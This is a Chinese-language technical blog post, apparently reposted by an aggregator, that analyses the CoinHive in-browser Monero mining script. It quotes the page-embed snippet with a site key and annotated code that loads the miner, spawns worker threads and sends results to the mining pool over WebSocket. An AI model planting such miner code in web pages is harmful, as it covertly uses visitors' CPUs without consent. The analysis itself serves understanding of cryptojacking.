浏览器挖矿--CoinHive挖矿脚本分析

Posted 子卿先生

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了浏览器挖矿--CoinHive挖矿脚本分析相关的知识,希望对你有一定的参考价值。

0x00 前言

随着数字货币的流行,以获取数字货币为目的的恶意挖矿行为也开始层出不穷,其中又以浏览器挖矿最为普遍。本文将对浏览器挖矿中使用最多的CoinHive脚本进行分析,说说浏览器挖矿这点事

0x01 基础知识

挖矿:即通过计算机算力,并按照特定数字货币的计算生产方法(算法)来获取相应的数字货币

矿池:相关数字货币根据区块链,来进行生产任务(挖矿)和生产利润的分配

浏览器挖矿:挖矿代码嵌入前端页面中,利用访问该页面的用户算力进行挖矿

由于不同的数字货币其算法生成原理不同,coinhive是针对于门罗币(Monero,缩写:XMR)的

简单来说,就是恶意矿工将挖矿脚本(一段JS脚本)植入到web页面中,当用户打开该web页面,嵌入其中的js脚本便开始执行,挖矿行为便开始了

0x02 脚本分析

2. 1 目录结构

  • coinhive.min.js 矿池通信,接收任务hash,分配worker进行运算执行

  • worker-asmjs.min.js 通过asm.js将c语言编写的算法进行转换而成的js文件,是挖矿算法的具体实现

  • worker.wasm 通过WebAssembly将c语言编写的算法进行转换而成的文件,是挖矿算法的具体实现

2. 2 coinhive.min.js流程解剖

2. 2. 1 用户身份验证
<script>var miner = new CoinHive.Anonymous("99nheD84S8eJK7eD4pufvR5Wd1KGjxlj",{throttle:0.5})    miner.start()</script>
2. 2. 2 work-asmjs.min.js加载
Miner.prototype._loadWorkerSource = function (callback) {        if (this._useWASM || this._asmjsStatus === "loaded") {
             callback()            //判断浏览器是否可执行wasm,asmjs文件是否载入
        } else if (this._asmjsStatus === "unloaded") {            this._asmjsStatus = "pending";            var xhr = new XMLHttpRequest;
            xhr.addEventListener("load", function () {
                CoinHive.CRYPTONIGHT_WORKER_BLOB = CoinHive.Res(xhr.responseText);                this._asmjsStatus = "loaded";
                callback()
            }.bind(this), xhr);
            xhr.open("get", CoinHive.CONFIG.LIB_URL + CoinHive.CONFIG.ASMJS_NAME, true);
            xhr.send()    
            //若asmjs文件未载入,从https://coinhive.com/lib/worker-asmjs.min.js?v7下载
        }
    };

work-asmjs.min.js是挖矿算法的具体实现,输入一个初始值,输出计算结果,是消耗CPU的根源。worker.wasm是另外一种格式,内部算法与work-asmjs.min.js相同,均为二进制。

2. 2. 3 建立挖矿线程JobThread,worker对象
var JobThread = function () {        this.worker = new Worker(CoinHive.CRYPTONIGHT_WORKER_BLOB);        //CoinHive.CRYPTONIGHT_WORKER_BLOB就是work-asmjs.min.js或者worker.wasm,根据不同环境选用执行效率最高的格式
        this.worker.onmessage = this.onReady.bind(this); //监听hash输入
        this.currentJob = null;        this.verifyJob = null;        this.jobCallback = function () {};        this.verifyCallback = function () {};        this._isReady = false;        this.hashesPerSecond = 0;        this.hashesTotal = 0;        this.running = false;        this.lastMessageTimestamp = Date.now()
    };
2. 2. 4 websocket连接矿池,进行通信
 Miner.prototype._connect = function () {        if (this._socket) {            return
        }        var shards = CoinHive.CONFIG.WEBSOCKET_SHARDS;  //矿池地址,数组类型,内有多个地址
        var shardIdx = Math.random() * shards.length | 0;        var proxies = shards[shardIdx];        var proxyUrl = proxies[Math.random() * proxies.length | 0];  //随机选择地址
        this._socket = new WebSocket(proxyUrl);        this._socket.onmessage = this._onMessage.bind(this); //监听服务器消息
        this._socket.onerror = this._onError.bind(this);        this._socket.onclose = this._onClose.bind(this);        this._socket.onopen = this._onOpen.bind(this)
    }; //建立和矿池的连接,持续的监听矿池的消息,如初始hash值

_onMessage()函数判断服务器消息类型,若为"job",将数据传入worker对象进行计算

Miner.prototype._onMessage = function (ev) {        var msg = JSON.parse(ev.data);   
        if (msg.type === "job") {            this._setJob(msg.params);   //设置worker对象的初始输入,内有初始hash,job_id等信息
            this._emit("job", msg.params);  //记录此次job
            if (this._autoThreads.enabled && !this._autoThreads.interval) {                this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery;                this._autoThreads.interval = setInterval(this._adjustThreads.bind(this), 1e3)
            } //线程配置
2. 2. 5 worker接收初始hash,执行,返回结果
Miner.prototype._setJob = function (job) {        this._currentJob = job;        this._currentJob.throttle = this._throttle;        for (var i = 0; i < this._threads.length; i++) {            this._threads[i].setJob(job,  this._onTargetMetBound )
        }    //多线程开始执行挖矿算法,完成后向服务器发送结果
    };
JobThread.prototype.setJob = function (job, callback) {        this.currentJob = job;        this.jobCallback = callback;   //时刻监听计算后的结果
        if (this._isReady && !this.running) {            this.running = true;            this.worker.postMessage(this.currentJob)  //将初始输入传至worker进行计算
        }
    };
2. 2. 6 客户端通过websocket将结果上传至服务器

_onTargetMet函数时刻检查_eventListeners中的结果,并将新得出的结果上传至服务器

this._onTargetMetBound = this._onTargetMet.bind(this);
Miner.prototype._onTargetMet = function (result) {        this._emit("found", result);   //查询_eventListeners中是否存在已计算出的结果
        if (result.job_id === this._currentJob.job_id) {   
            this._send("submit", {                version: CoinHive.VERSION,                job_id: result.job_id,                nonce: result.nonce,                result: result.result
            })//若存在,检查其job_id是否与当前job_id一致,若一致,则上传结果至服务器
        }
    };
 Miner.prototype._send = function (type, params) {        if (!this._socket) {            return
        }        var msg = {            type: type,            params: params || {}
        };        this._socket.send(JSON.stringify(msg))
    };

0x03 总结

  • 1 Miner对象根据计算机资源建立多线程JobThread,并通过WebSocket与服务器通信,取得job_id,初始hash等关键信息。

  • 2 JobThread根据work-asmjs.min.js或worker.wasm建立worker对象

  • 3 Miner将关键信息传给JobThread中的worker对象,worker根据算法运算,输出结果hash保存至_eventListeners中

  • 4 Miner从_eventListeners取出结果hash,发送至服务器


ps:本文主要针对coinhive.min.js进行分析,未涉及到数字货币的算法流程,对coinhive算法有兴趣的可参考CryptoNight算法原理(http://www.monero-xmr.org/topics/12)


以上是关于浏览器挖矿--CoinHive挖矿脚本分析的主要内容,如果未能解决你的问题,请参考以下文章

恶意挖矿脚本Coinhive大举入侵,400多家政企网站受波及

恶意Coinhive挖矿脚本肆意传播 全球400多家政企网站遭殃

安卓挖矿脚本来袭:Coinhive快出来!有口锅需要你背一下

Coinhive提供挖矿引擎 你的CPU占用率还好吗

CoinHive智能网页挖矿的二三事

挖矿脚本被植入,腾讯云 Web 漏洞扫描如何保障网络安全?